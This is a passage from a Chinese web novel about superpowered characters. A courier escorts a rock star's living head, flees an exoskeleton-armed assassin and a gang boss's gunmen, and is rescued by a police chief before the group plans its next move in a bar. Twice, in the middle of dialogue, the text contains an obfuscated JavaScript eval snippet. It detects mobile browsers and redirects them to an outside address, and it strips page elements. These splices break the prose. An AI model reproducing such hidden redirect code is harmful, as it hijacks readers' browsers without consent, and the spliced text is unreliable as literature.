“…这时候知道我是谁了?”小六正了正紫黄格纹刺绣领带,笑道,“没错,我就是小六,现任家族二把手。” “这就是原因。”小象指了指小六,“你就是小六了,哪还有额外的位置?” “哈?!”小六不明所以地怒道,“你在挑衅我吗?” 小二也不明所以,迷茫道,“那是什么意思?” 小象看向小二,问道,“小一是以‘让小四活着抵达监狱’为目标去预言的吗?” “…并不是。”小二回答。“预言家从不为单一目的做出预言。” “但我是,我的目的只有一个,那就是把她送到目的地。”小象说,“其它的工作,恕我不便参与。” 小二连忙劝导,“不,我会——” “我也不想参与那些与我无关的事件。”小象说。 “喂…”小六脸上逐渐被怒意爬满,“你们两个当着我的面聊什么呢?!” “现在的年轻人脾气可真大。”小四笑道。 “不许叫我年轻人!”小六彻底生气了,她抬手,本站在她身后两米处的十几个黑衣人围了上来,并将手伸下后腰。 “诶,能不能把我背前面?”小四问道,“这场景到处都是,但第一人称视角可少见。” 小象闻言照做,要是一会包被打中就糟糕了。 “你觉得你有资格拒绝?”小六嗤笑道,“接受我的交易,或者回海里喂鱼去吧,都不必等那狙击手开枪,你们只要回答一声‘否’,我现在就能送你们上路!” 小象并不意外对方的态度,帮派人士大多如此,她甚至有预感那剩下的“两次”也与帮派有关。在对方没能预料到自己战斗力的情况下启动发信器逃走还是做得到的,问题在于小二,她会怎么选? 随着小六话音落下,每个黑衣人都掏出枪瞄准二人,小象看向小二,将手放在发信器上说,“预言破灭了。” “…预言破灭了。”小二不可置信道,明明身具力量,她站在原地手足无措的样子像是突然被丢到这里来的无辜群众,搞不清状况,不知道该怎么办。 “…然后呢?”小象问道,“你没有接下来的打算了吗?” 没有,小二茫然的眼神回答了问题。 “好吧。”小象叹了口气说,“二选一,你和我一起逃走,或者留在这继续遵循预言的道路,即使它已经无法导向任何结果了。” 说完,她不等小二回答便启动了发信器,视野在一瞬间变得开阔,她没再看任何人,轻微俯身后快速起跳,身体如在水中一般轻盈,越过小六的怒容和骤然拔高的枪支瞄准线,踩着黑色车顶又跳向了远方。 距离最近的补给处就位于港口区域内,离海洋稍微有些距离的地方坐落着港区工人及其相关人士所在的生活区,以高密度住宅建筑与各种一条街拼凑而成,特点是空气中永远飘着一股挥之不去的油味,以及爬在墙上无人使用的墙梯。 现在倒是派上用场了,小象从一处屋顶起跳,攀着墙梯重新落地,一瞬间异臭扑鼻,角落里狂乱地涌出一堆不明快速爬行生物欢迎光临,她没犹豫,快速朝巷子深处走去。 “呕呕呕——”小四反应非常强烈,不过她除了态度也没东西能吐了。 在入口前小象停顿了一会,回头,小二也从屋顶跳了下来,或许是她先前犹豫了片刻,身上沾了些硝烟的味道,但看上去没有受伤。 “你倒是跟来了。”小象有些意外,“预言的任务怎么办?” “…比起完成任务,跟在你们身边的优先级更高。”小二回答。 “…是吗。”小象转头推开门向前走,前方下楼梯再转几个弯就是补给处了,“你跟不进来的,可惜。” “…那怎么办。”小二茫然道。 听到这句话小象忍不住笑了,“你没想好我们要去哪就跟来了?” 小二沉默了,小四倒是笑了起来,“要不然怎么说她没用呢?一天天活得和脑子白长了似的,亏得我们还用一个姓,真会给我丢人。” 小二没说话,就默默跟在小象身后。 “那,你在外面等着?”小象问道。 “我能进去的话她也能进去。”小四说,“你这地方验证是看什么?体型?生理特征?自我认同?” “…其实我不知道。”小象说,“入口安检不放人进去,但小型动物可以。” 原因是有执行者会养宠物。 “那她也能进去。”小四说。 “怎么进?”小象问。 “…怎么进?”小二也问。 “…居然要我来解说这个…”小四叹了口气,说,“我们是接受同一种实验,获得同一种超能力,也使用同一种超能力的人。既然我能把自己的身体拆解组成一把吉它,那她也可以。” “…吉它。”小二茫然道,“我不知道怎么拼吉它。” “瞧瞧,脑子太久不懂的下场就这样。”小四嫌弃道,“总之你自己想办法,把自己肢解了也好,压缩也好折叠也好重组也好,总之只要结构还完整就能再拼回原样的。” “…哦。”小二看向了自己的双手,顿了顿,看向小象说,“你…能不能先转过去。” “…你快点吧。”小象转了过去,又问小四说,“那你是也还能从吉它变回人吗?” “…不想,也不能。”小四难得只说了几个字。 “为什么?”小象问。 “…你非得问吗?”小四非常不满,“这种时候你能不能体谅一下我的自尊心?你非得像要解剖一样看清全部才能记下结果?因为我的身体又老又破,早就不成样了,满意了吧?” “还行。”小象点了点头。 “诶你这人——” “好了。”小二从比较矮的位置发出了声音,小象回头,发现小二变成了小型犬大小的小型人类,并非是婴幼儿,而是她本人的等比例缩小版。 “…哇像恐怖玩偶一样…好恶心。”小四刻薄地评价,小二抿嘴不语。 小象没说什么,她拎起小二快速进入补给处内部,把她和东西往地上一丢就关上了发信器,并趁着副作用还不至于让她无法动弹迅速收拾好自己,往熟悉的沙发上一摊,长长地松了口气。 熟悉的恍惚感涌上心头,但由于连续启动发信器导致肌肉超负荷,现在身体实在无法动弹,她只能被困在沙发上对着天花板生气。 小二倒是一直在跑来跑去,给自己换衣服,给猫包消毒,给小象输液,还要被小四指挥着给她的头清洁理发。总之小象余光一直能看到一个脑袋在晃来晃去,跟扫地机器人似的,感觉又烦又好笑。 “这儿还有这么一个地方呢。”小四在桌上自我旋转着打量屋内一切,又看向小象问道,“是你公司的地儿?” “…差不多。”小象有气无力地回答。 “你一个送货的为什么会需要这种东西?”小四移动着凑过来问道,“刚才你的表现很亮眼哦小象,不来聊聊吗?现在这种休息时间最适合增进感情——” “你一个被送的货物能不能少开口?”小象斜过视线问道。 “现在再不开口不就没机会了。”小四不以为意,“你还在生气?是那种能力的副作用吧。” “不然呢?”小象没好气道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“讨厌的对象?”小四追问。 “现在的话讨厌话太多的人头。”小象回答。 “那你总有遇到过挫折吧!”小四不死心地问,“比如说这次…就小五了,她怎么样?” “…就非得是恨吗。”小象都无奈了,“你是不是活得太阴暗了。” “是你的人生太中庸了。”小四笑了,“仇恨可和厌恶不同,是可循环利用的上等燃料啊!” “明明你和小二是同一出生吧,人家怎么不恨?”小象问。 “这个问题我还真知道答案 ,不过…”小四转过头看向小二,“喂,你来回答这个问题试试?为什么你没能像我一样成为一个艺术家?” “啊?”小二茫然地转过身,顿了顿后回答道,“…我不知道,你说的情绪我没产生过。” “放屁。”小四冷笑。 “…反正我不恨那些人了,这是事实,也是我为什么会协助完成小一的预言。”小二说着叹了口气,“虽然已经破灭了…” “使用能力会导致大脑缺氧,继而导致情绪产生波动,这是既定事实,我们接受的手术是一样的,实验室也不会挑脑子有问题的人受试。”小四说,“你与我不同的原因很简单,因为你没能做到,仅此而已。” “…你在说什么?”小二皱眉疑问。 小四转向小象,开口道,“当时我算她的指导人,虽然这家伙看着没用,但当初在实验室里她的表现可远比我出色得多,年纪又小,最大的作用便是被那些大人物带在身边炫耀,而不是和我一样达到标准就送上战场。而直到大人物抱着‘可以了,让她发挥点实际作用吧’的想法将她送上战场时,战争又结束了。” “难道你想说我没上过战场所以就不会恨那些人吗?”小二问道,“我们接受过同样的实验,当然也承受过同样的痛苦。” “当然,那也是我这吉它的灵感来源。”小四不以为意道。 “但我——” “那个时候,你杀过人吗?”小四声音几乎是冷漠的,“用超能力,冷热武器,或者干脆赤手空拳,我们的能力对付普通士兵实在是绰绰有余,杀人很简单,比仇恨简单得多,你杀过人吗?” “…没有。”小二回答。 “我杀过,很多。我的第一个任务是暗杀一个谍报人员,我记得那天她见我是个孩子就没让我脱光衣服搜身,当然搜了也没用,我扭断了她的脖子,用手。”小四说,“战争结束将一切都摆平了,我杀的人和我遭受的实验数据一起消失,但我都记得,喝酒吃药都没用,毕竟超能力是终身的。KPA里很多和我一样的人,所以她们是真的能理解我为什么要那样做,而不是同情我。” 她转头,盯着小二问道,“你回到和平的社会之后,有没有哪怕一个瞬间想过‘要是还在实验室里就好了’这样的事?一定有的吧,在那里你多风光啊,和如今这个没命令就不知道该怎么动的废物一点不一样。加入KPA后有后悔过吗?感谢过外星人降临吗?想过杀了我吗?你怎么可能没有恨过,小二,不是像我一样大张旗鼓地行动才叫恨的,每一次机会的出现都是仇恨在作祟。去仇恨吧,而不是说着‘我没有产生那样的情绪’这样的可怜话,来恶心我。” 在她几乎是炮击一般的低哑言语中,小二一动不动地站在原地听着,她听完也只是沉默,没有表情,什么都不说。 “那么,轮到你了。”小四看向小象,“你杀过人吗?” “…吵死了。”小象烦躁地说,“我是送货的,为什么要杀人?” “嘿,看看我吧,你的货物,你可不是个普通的送货员。”小四笑道,“不如主动一次如何?在你不得不那样做之前,总比在那之后永无止境地埋冤世界解释自己得好,对你来说这也很简单吧,只要——” “不要听她说的话。”小二说。 “…你凭什么不回答我的问题,却又阻止别人听见我的声音?”小四质问。 “不要接受她的建议。”小二只是继续对小象说,“也不要试图理解——” “你们当然没可能理解我!”小四近乎狂乱地呼喊道,“有完整身体可以用的你们怎么可能理解我?!别开玩笑了你们这群——” “轰——” 52. 陷落都市与超能力-中-3 爆炸的不是小四的头。 补给处的门外突然响起巨大的爆破声,空间巨震,小四的头晃悠悠地从桌子上滚落下来又被小二接住,她不满地咂舌,但没再说什么了。 “…怎么回事?”小象艰难地起身确认情况,先前她们进入的门遭受爆破攻击,监控扫描不到人影,门体与补给处墙面暂时没事,但周遭半地下式建筑因爆炸而变为废墟。 “恐怕是飞弹。”小二迅速将头颅放回猫包里,问道,“这里抗打击程度如何?” 小象拔掉了手上的输液针说道,“常规爆炸能抗住,但是——” 下一瞬,第二次爆炸撼动空间,随即就是第三次,越来越快且没有停下来的预兆,对方显然是冲着直接把门炸开来的。 有袭击者,不知是哪边,但毫无疑问的是现在情况非常糟糕,小象的身体情况不足以支持她快速移动,再次启动发信器造成的身体损伤就不是她歇会能恢复的了,会直接影响到后续任务。 难道说这就是和预言对着干的代价?小象深吸一口气从沙发上爬起,对小二说,“这里有其它出口,门和防御装置不知道能撑多久,我们得走了。” 小二迅速点头,“你们先走。” “你先走。”小象指了个方向,“去变回原来的样子在外面找个地方等我,我要把这里炸了。” “什么?!”小四反应最大,“我要看,等下,别带走我,喂——” 见小二拖着猫包从安全通道离开,小象继续确认补给站门外的情况,红外线扫描已经被炸毁了,只有热感应与压感还在勉强工作,随着门被炸开一条缝,连续不断的轰击终于停了下来。 守在逃生通道口,小象只觉得这个世界从没这样安静过。 脚步声,不急不缓但轻巧的脚步声,一点一点靠近了入口门边,来者停下,随后那本就支离破碎的门被整个撕开,硝烟中火花一闪而过,大门随一声巨响被丢在了门外,袭击者要进门了。 于是小象勉强看清了来者的剪影,就像个怪物一样,袭击者身负绝对不是人体能长出的四肢,她借着金属反光确认那是某种外骨骼,来者一定就是小五。 “…目标已经不在这了,换路线。”她开口说道,似乎在与谁对话。 要是对方掉头就走的话爆炸也没用了,小象顿了顿,将身侧货架上的医疗箱朝外丢去。 方盒滚落,来者像是被吸引了一般朝室内迈步,小象退后一步,准备启动装置并离开。 “轰——” 她右侧挨着的墙壁在一瞬间崩塌,灰尘之中,一张脸探了进来,那是一张人类的脸,不带任何表情,只有短发在灰尘中飘动。 这就是小五,小象大惊之下向后爬了两步。 “…不,是个普通人。”她说着,随意地抬起裹着医用白手套的右手,比她整个人还长的机械臂瞬间从她后方弹出抓向小象,那和夹娃娃机设备相似的尖头夹子绝不会考虑被夹者的感受。 “铛——”小象抬起箱子格挡,趁刺来的尖爪滑开的一瞬间,她迅速启动□□并跳进逃生通道关上门。背后爆炸震得她脊骨发麻,但她不敢停下,一个劲地朝通道外跑,不远处已经能听见小四单方面和小二吵架的声音,那里就是出口—— “滋——”令人牙酸的金属划拉声在身后响起,小象顿觉后颈汗毛直立,她甚至不敢回头,但身后另一记熟悉的重响告诉她,那扇门也开了。 前方,小二已恢复原来的模样,她看清隧道深处的来者后并没有惊慌失措或掉头逃跑,反而上前两步将小象抓起背上,这才反身朝外跑去。 借着喘气的功夫,小象这才有空看一眼追杀者的模样,好在补给处的牺牲并不是毫无作用的,此时小五的双臂失去支撑般不自然下垂着,血色让那手套看上去像刚从人体里掏出过什么。但她没就此停下,从她背部延伸出的机械臂绷直了关节支撑在隧道中,令她像是一只盘踞在洞中的巨大蜘蛛一般旋转着爬行前进,那节肢末端与参差不齐的通道壁面接触时咔嗒作响,像在敲键盘。 体积小,速度快,还会流血,这简直就是小象最讨厌的东西。 “好,好恶心——”她几乎要吐了,小二跑动颠簸带来的眩晕连带无法稳定下来的情绪一起,在她的脑子里翻涌膨胀。 “嗯…六分,不,六点五分吧。”小四斟酌着评价道,“这个创意早就算不上新了,不过做工不错,我也不是只看重外在的人啦。” 似乎是为了回应二人的不礼貌发言,小五在突然间加快了速度,她像是被吸向外界一样逼近小二,一只机械臂抬起近百米长的枪管并尝试瞄准,那绝不是小口径手枪。 而它瞄准的目标,毫无疑问就是小四了。 “她要开枪!”小象高声提醒小二,并抬起箱子横档在二人身前,几乎就在视野被遮去的一瞬间,剧烈冲击炸开在箱子之外,小象只觉得自己手腕要断掉了,随即冲击波迫不及待地将其目标送出了通道内侧。 耳边还在轰鸣着,小象就再次被爬起的小二扛起向外跑去,模糊的视线中小五再次追了上来。通道之外也不安静,天色已经暗下但街道上热闹得很,除去人群惊呼,她还听见了直升机的声音。 “开什么玩笑啊?!”以及噪音完全无法盖过的,小六的怒声,“这可是我的地盘!” 机枪扫过,本欲跳上屋顶的小五动作一顿,转为继续在巷道间穿梭,这给了小象几人逃跑的机会,可能吧。 “我的吉它!!!”小四的音量也完全不甘落后,“你怎么能,你怎么敢的?!” “别吵了!”小象还烦着呢,“再吵我就吧你的头也塞进箱子里去自己确认那把破吉它怎么样?!” “试试看啊小不点!你敢把我放出来我发誓会咬断你的手!” “死老头我要把你的牙拔光!” “哈哈哈做得到吗?这可是钛合金的!” 漆黑小巷,旧彩垃圾箱,烟雾缭绕的赌博室,酒瓶堆成一座小山的饭馆,门槛坐着一溜抽烟者的洗衣房,门外凉椅上躺着个人的修车摊。这里的一切在小象眼里都倒流着退去,地面烟雾像特效,狙击枪火花闪过,霓虹灯牌闪烁切换,恍惚间她甚至觉得小四是在即兴说唱。 小二奔跑的速度极快,她能适应任何地段环境,控制接触着的东西变形,甚至一定程度上变化身体形态以提高行动效率,伤口痊愈速度快得让那些血迹和伤看着像错觉,她时刻保持警惕,没有丝毫疲劳表现。 与小四相似,她的“念动力”主要针对自己使用,像是自己身体的操控员。 “那边跑路的两个我也看到了!刚才的事我记着呢,你们给我等着!”小六的怒吼打断了小象的错觉,她甚至没用喇叭。 她的声音像广播一样扩散至这里的边边角角,于是一扇扇窗户打开,饮酒的人举杯,抽烟的人抬高手里的火星,屋内的人鞋都不穿就蹿出门来,歇息的人迅速睁大了眼,下一瞬间她们就欢呼了起来,好像那些看到流星就自动开始许愿的人一样满心欢喜。 “老大!”她们这样呼喊着。 “…怎么回事。”小四失魂落魄道,“我的粉丝都不会这样喊我的…” “可能是因为你没带机枪。”小象回答。 “…我们要往哪跑?”小二问道,她的声音不大,小象头搁在她脑袋边上也就勉强听清。 “你身体状况如何?”小象问道。 “不太好。”小二冷静地回答,“右臂与肩膀链接处骨折了,需要尽快固定。” 那至少需要五分钟的安全时间,但小五完全没打算给她们这个机会,她前进时特有的咔嗒声在枪林弹雨中也显得尤为清晰,且越来越清晰了。好在小六在满腔怒火地针对这建筑破坏者进行围剿,坏在,无论她是否成功,下一个受害的绝对就是她们三个。 “往市区方向跑。”小象说着咬牙爬了起来,“找个地方把我放下。” 小二犹豫道,“可是…” “别可是了——”小象说着,忽然看见后方被机枪扫过的废墟中有寒芒一闪,她一瞬间就明白了那是小五,想抬起箱子挡住,但手腕却无论如何都使不上力。 “砰——” 一颗九毫米的子弹飞越烟霾与废墟,划过鸡尾酒广告灯,穿过小象的脸颊一侧,与金属寒芒相撞,点开了那尖爪一瞬,它在这里的作用实在是有限,而它的主人则更是看着可怜。 一辆车窗碎了一半且门面凹陷的警车甩尾急停在小二身前,驾驶员看都不看正前方,单手把方向盘反方向打死单手再次连续开枪三次挡开机械臂。 “上车!”小三吼道,她没把视线放在任何乘客身上,而是紧盯窗外开枪,二十枚弹壳全部落地,待车身重量符合标准后她便一脚油门将一车人送进了烟雾之中,只留一只尖爪狠狠扎进车辙痕迹里。 车内,小象将小四往地上一丢就捏住自己的手腕,箱子没事它倒是脱臼了,她正愁该怎么办,小二就伸出手来抓住她的手掌和胳膊,毫无征兆地把她手腕给掰回来了。 小象深呼吸忍住没叫出声,对小二道,“总之谢谢你,没了你刚才我们都得死。” 闻言,小二处理自己肩膀伤势的动作停下,露出个浅浅的微笑说,“没关系。” “然后呢?”小三朝后视镜问道,“这里,这里还有一位哦。” “…也谢谢你好了,警官。”小象从后视镜与小三对视,问道,“不过你为什么会来这里?” “…听说港口发生异常爆炸就猜到是你们。”小三回答,她似乎与一部分人正好相反,开车时只看后视镜。 车道狭窄但司机丝毫不惧车身受损,把无标线多急弯道路当赛车道开。 “这是原因?”小象都想笑了,“你不要命了?” 闻言,小三也笑了,“那家伙不是说我今天死不了?我看时间还早。” “…预言不是这么用的。”小二低声说。 “你懂个屁。”小四反驳道,“喂赶紧让我看看我的吉它!快点快点!” 小象拎起箱子,那表皮上除了些许顽固污渍外连划痕都没有,她把箱子压在小四的猫包透气孔上说,“看看看,看够了没?” “警官这里有人虐待老人!罪犯也有人权!CLM!我要求更换押送人!”小四不满地嚷嚷道。 “警官开车呢。”小三郑重强调。 四个轮子的载具速度就是快,几个急转弯过后车辆便驶离港区,进入笔直公路,但此时车速反而慢下来了,小三确认后方没有奇奇怪怪的东西追上来后才将视线放回前方车道。 “我们这是要去哪?”小象问道。 “总之先离港口区远点,也离小六远点。”小三说着又问道,“她吼的东西我也听到了,你们怎么得罪她了?” “…拒绝了她的协作请求而已。”小象说。 “哇…”小三露出那副见了鬼的表情感叹道,“你还不如直接朝她开一枪呢,至少那样她也就只会朝你开一枪。” “总之,那是群把脸面看得比饭碗重的人。”小四用幸灾乐祸的语气说,“她们家族可是东部湾底海洋生态营养链最大负责人,当众驳她话的人大多没有脸面能剩下哦。” “到时候把你交出去好了,毕竟你的脸面多值钱。”小象回答。 “…想想你的工作!”小四提醒道。 “我倒也没打算像你一样把人生改造成事业。”小象回答。 “…还是别把她交出去了吧。”小二留下了冷汗,劝阻道,“其实,她们那边也不是不能再谈谈的…” “…其实我在开玩笑。”小象说。 “在现代,缺少幽默感比缺少维生素更致命哦。”小四说。 “啊,哦…”小二把头低下,且越来越低。 “总,总之。”小象问道,“她们那边还能怎么谈?难道要说‘我们接受你之前说的任务’就够了吗?” “…再加上道歉?”小二说。 “不行的吧。”小象觉得不行。 “绝对不行。”小四说。 “根本不可能啊。”小三说,“而且,那边的任务你们最好也别碰。” “为啥?”小四来兴趣了。 “…我大概知道小六为什么要找你们这群人交易。”小三语气凝重了起来,“记得我们之前提到的毒气弹事件吗?” “哇还有前情回顾。”小四说。 “我记得。”小二说。 “可惜你脑子没被炸坏。”小四咂舌。 “那不是市区那边的事情吗?”小象疑惑,“这两边距离开车上高速都要半个多小时。” “…你们先听我说完!”小三忍无可忍道,清了清嗓子后再次开口,“毒气弹的制作者被确认是来自内城区的某个超能力者,其对自己能力产物的描述是‘会让人头晕恶心想吐并长期偏头痛’,而且毒气完全无色无味,当初我们也是拜托了特殊警犬才把这人找出来。” “给我看看特殊警犬。”小四毫不客气地要求。 “那我也要看。”小象说。 “…能先听我把话说完吗?”小三问道,又叹了口气,“而且重点在于效果,这描述和医院一次性门诊册回收箱里抄来的一样,毫无参考性可言。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296772|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “…这样说起来,我现在其实也有点…”小二担心地说,“有没有可能…” “你那单纯是能力副作用。”小四毫不留情地说。 “总之,很多人都和你一个想法。会不会那家伙的毒气没被清理干净?会不会还有其它类似的超能力者?近三个月来我们警局热线内容一半都是类似的问题。”小三看了眼小二,“超能力作用仅有能力拥有者本人能确认,而这位现在已经进监狱了没法站出来解释些什么。” “不过这和小六有什么关系?”小象问道。 “毒气弹事件后,市政厅颁布了一些监管条例,主要是针对内城区居民的个人卫生健康定期检查什么的。”小三说着皱起了眉,“而最近有传闻港口的工人住宿区——就是你们刚才跑进跑出的地方,也出现了与当时类似的情况。” 回忆起那片街道的卫生情况,小象忍不住说,“其实那大概只是某种流行病吧。” “这我不清楚,但无论那是什么,事情闹大了政府肯定要管的。”小三说,“但小六怎么可能会愿意自己的地盘上多出政府的人?所以才要找你们。” “找我们查卫生情况?”小象疑惑,“我看她自己人手挺足的。” “不。”小三轻笑,“是找你们这些‘需要安全保障且不久后就会离开’的家伙查‘传闻’的人。” “…她为什么能确定那不是毒气弹事件重演呢?”小象问。 “她对化学品还算有研究吧。”小三随意道,“毕竟她们家族是上世纪靠贩毒起家的。” 小三没走高速,而是沿着城市道路一路向西,略路灯下一座座风格各异的拱桥与拱桥边风格更加异化的人群,闯入正直夜间活动高峰的市区。街边道路已挂上彩灯装饰物,让本就满载机动车与玻璃大楼的道路更沉重了些。 “…说起来,马上就要到圣诞节了。”小四突然开口道,“没了我,大家的圣诞节该怎么办啊…” “照常过咯。”小三嗤笑,“怎么,你还能把自己以前那些歌的版权也带走不成?” “音乐不过是我艺术的一部分。”小四说,“没了我的互联网一定会变得很无聊吧,大家凑在火炉边玩手机的时候一定会想我的。” 说着,她掉转向小象说道,“不如找个酒吧来一场即兴演出吧,就当是我的饯别礼。” “不要听她说的话。”小二说。 “我也没打算。”小象说。 车辆拐过商业街的最后一个路口继续向北,最后缓缓停在了一家桥梁下方的隐蔽酒吧前。 “…警官?”小象疑惑。 “我当然没打算让她搁这儿演出!”小三郑重强调,“这里通宵营业而且相对来说算是安全的,我和这儿的老板打过招呼了,今晚能在这待着。这段时间里咱们得讨论出一个能把你们安全送走的战术。” 虽然小象不明白为什么这样一间酒吧能比警局牢房安全,但既然警长都这样说,她也没道理不信了。 “也可以喝一杯。”小四满意地点头,“很上道嘛警长。” “…我们不能喝酒。”小二说。 “当然不能喝!”小三强调,“一点都不行,知道了吗?” 推开没挂任何营业标牌的厚重木门,蓝调爵士乐中,一间装修风格古典的鸡尾酒吧欢迎光临,客人不多,就角落里的吸烟区能看得到人影。老板似乎在厨房忙碌着,带几人入座的是看上去明显不擅长应对客人的小老板,她几乎没有主动与任何人产生过眼神接触,调酒的动作倒是熟练。 “你们好…干马丁尼,螺丝起子,椰林飘香,以及威士忌纯饮不加冰。这里是附赠的干果,那么我先走了有事请随时来吧台找我谢谢惠顾告辞。” 桌上三人一头,四杯酒全是那颗头点的。 “…我不过是去上了个厕所。”小三疑惑地看向小象和小二,“说真的,你们难道就不能把她的嘴捂住吗?” “…十分抱歉。”小二说。 “总之喝起来吧年轻人们,为了我们的相遇和今晚。”小四已经在桌上自顾自地旋转着陶醉了起来,小象觉得那位工作人员跑那么快一大原因就是因为她。 “我喝了谁来开车?”小三问。 “先谈有没有再谈是不是,警长,我们有在今晚离开这里的必要吗?”小四问。 “…那也不是你这样做的理由!”小三说着把螺丝起子移到身前,“不过点都点了。” “你为什么会知道我的喜好?”小象搅了搅椰林飘香的条纹吸管。 “你这样缺乏锻炼的年轻人不就只能喝点这种?”小四嫌弃地说,“还喜好呢,等你能喝得下没加饮料的酒精后再谈这个吧。” “…好吧。”小象举起杯子痛饮椰奶菠萝热带口味微酒精饮料一大口,恰到好处的酒香带着酸甜口味冲开喉咙,心情都舒畅了不少。 “…我真的不能喝酒。”小二为难道。 “首先你喝了不会死,其次这里不需要你看着,最后…”小四笑了声,“我知道你会喝。” 小二沉默片刻,将那杯威士忌拿来了。 “好——让我们为今天的派对干杯!”小四鼓励道。 “…你,真的能喝东西?”小象盯着小四脖子下方的装置问道。 “不能啊。”小四回答,“这颗脑袋只有脑的部分算是原装的,底下这块除了移动装置基本上就是模拟声带,用振动来模拟我的声音,毕竟我可不想让我的粉丝听预制音乐,为了给换气音模块腾地方我都没给自己装味觉系统。哦不过我有嗅觉哦,毕竟总有粉丝喜欢送我花那种容易烂掉的东西。” 声音加上音乐,小象意识到小四把自己改装成了一个完整的乐队,她好奇问道,“那你为什么不干脆给自己换个年轻点的头呢?” “拜托,你真该去看看我的脸值多少代言费,我只有身体不行,脸还是很吃香的!”小四自满道,“你当娱乐圈那么好混?” “那你点这杯干嘛?”小三嫌弃道。 “慰问小一的在天之灵吧。”小四说。 小三沉默地扶住了额头,这一天发生的事额外多,疲惫令她对朋友死去这一事实的痛苦感到麻木,但此时,那震惊后的钝痛借着酒精灼烧又浮现在了胃里。 “你真信了?”小四凑过去看,“只是我想点一杯而已,反正不是我掏钱,而且你们都有得喝凭什么我没有?” “…你这老东西!”小三怒道,“我要拿这杯酒给你洗头!” 小二试图劝阻小四继续挑衅以真的被烈酒浇头,小象放下不锈钢大肚杯抬手呼唤吧台,“请再给我一杯。” 53. 陷落都市与超能力-下-1 所谓战术便是观察与推理得来的产物,观察自己与对方各有什么,推理这些东西该怎么用,如何能达到最终目的。 目的很明确。 “小六有可能把小五杀了吗?”小象问道。 “…至少现在还没。”小三无奈道,“毕竟她们杀掉仇人后第一件事就是公开证明自己的权威。” “那…有别的方法能杀掉小五吗?”小象认真考虑道。 “…可能吧,不过你是不是有点冲动了。”小三疑惑,“之前也没看出来你有这么想杀人啊。” 小象当然不是什么杀人狂,但现在基本上可以确定:如果没办法搞定小五,那任务就没法完成。 要想将小四送到海中监狱有两种途径:海路或空路。后者已失败过一次并且后果惨烈,现她们不得不开始考虑前者,但无论如何首先得想办法逃离这座城市。敌方势力明确:战斗里力而且擅长暗杀的小五,以及对港口区域有绝对掌控力且目前对她们虎视眈眈的小六。 关于应对暗杀者的方式,小象曾为自保向一位自称了解暗杀者的朋友讨过建议,对方当时给出了三个:第一便是想办法把暗杀者杀了;第二就是想办法让对方以为自己死了;还有一个办法是杀了委托人并烧掉对方的家产,但小五显然是自发行动的,这个建议不算数。现在看来,第一个暂且有希望,但第二个却没有,毕竟小四绝不可能放弃彰显自己的存在感。 小象当时也问过“你是不是杀手啊”这样找死一样的问题,对方说不是,那就当不是吧! “最麻烦的是小六那边。”小三捏了捏眉心,“本来你们要是没和她打交道还好,现在这种情况保不准她会做出什么来,无论哪条离开城市的路都有可能被她卡住。” “…这里的帮派有这么嚣张?”小象疑惑。 “这几年都算好的了,你是不知道2000年那会。”小四笑道,“对我这样的人来说那可是灵感黄金期,不过那时我还没转行,浪费了许多机会…诶真可惜。” “你以前是干什么的?”小象好奇。 “和这家伙一样喽。”小四用下巴指了指小二,“跟条狗似的,帮协会做事或听协会的安排帮其它人做事,也算个战斗人员。” “现在也算啊。”小三嗤笑,“你那把吉它光是外表就能给人造成精神攻击。” 小四闻言,脸上皱纹勾勒出自豪的弧度。 已方成员为:能短暂提高战斗力但副作用明显的送货员小象,战斗人员且仅为战斗人员的小二,明天早上还得去上班的警长小三,以及摇滚巨星小四。 “把最后一个划掉。”小三毫不留情地说,“把她算进来只会造成负影响。” “原来你明天还要去上班吗?”小象问道,“那你现在这样喝酒没事吧。” “没事啊。”小三不以为意,“我局刑事部门加班都是72小时起不合眼的,喝点反而能让脑子休息会。” “…辛苦了。”小二说,不知为何语气有些愧疚。 “总之,赶紧想想办法吧。”小三放下酒杯,“小五的话我这里倒是能分点人手去追查她的下落,但小六那边的话…还是得找外援。”她说着伸出手蹭了蹭自己的下巴,似乎是想抽烟。 随后她又说,“不过两边针对的目标倒是不同的,小五的目标是小四,小六的目标是你们两个。要是能借此情况出点奇招或许能行。” “我们没法分开行动。”小二说。 小三叹了口气,看上去更想抽烟了。 这不是完全不对等吗?小象都想为这两边能被放在一起比较而大骂出声了,她看向自己的通讯器,难道真的得求援了吗?说到底这麻烦确实是她引起的,要是当时没有冲动地拒绝小六的提议的话… “不打电话吗?”小四像是看透了她心中所想一样问道,“能在港区设立那种补给处的组织想必不会担心小六的报复,也总有办法处理小五的吧。” “什么补给处?”小三抬起头问道,“说起来,你们当时为什么会从那里跑出来?” 小四没回答,她看向小象。 “…总之,就是…”小象努力措辞。 “为什么这么纠结?”小四疑惑,“难不成那是什么名声很臭,说出来会让周围人拿奇怪眼神看你,给你贴标签,并拒绝配合你行动的组织吗?” 全中啊,小象叹了口气。 “…说起来,不好意思啊,之前和你说那样的话。”小三抓了抓头发说 ,“当时也是我说话冲了,和同事相处不好很正常,你别往心里去。” “…没事。”小象回答。 “难道说…”小四转过头咧开嘴笑了,“小不点,你果然不喜欢你的同事吧。” “没有那种事!”小象迅速反驳。 “那就是上司。”小四接着说。 “…没有那种事。”小象说。 “哇你自己听听自己的语气吧。”小四嫌弃道,又追问,“让你打个电话求助都这么不乐意,难不成是位很严厉的上司吗?” 小象没回答,又喝了口杯里的酒。 “消停点吧你这老东西。”小三双手捧起小四的头放回她自己的座位上。 但小四不依不饶地继续问道,“来说说嘛,酒桌上不就是要抱怨讨厌的人吗?顺带一提我现在讨厌离我很近的执法者和超能力者。” “你那是歧视。”小三说。 小四无视这句话,继续道,“如何,要向我们抱怨一下讨厌的上司吗?” “…我不讨厌她。”小象说,“她没做过会让我讨厌的事,发布的任务都是合理的,而且…她对我而言是很重要的人。” “哦…老师那样的?”小三问道。 